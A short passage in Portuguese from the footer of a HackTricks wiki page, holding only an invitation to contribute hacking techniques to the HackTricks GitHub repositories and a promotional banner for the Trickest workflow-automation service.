* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

![](<../.gitbook/assets/image (9) (1) (2).png>)

\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}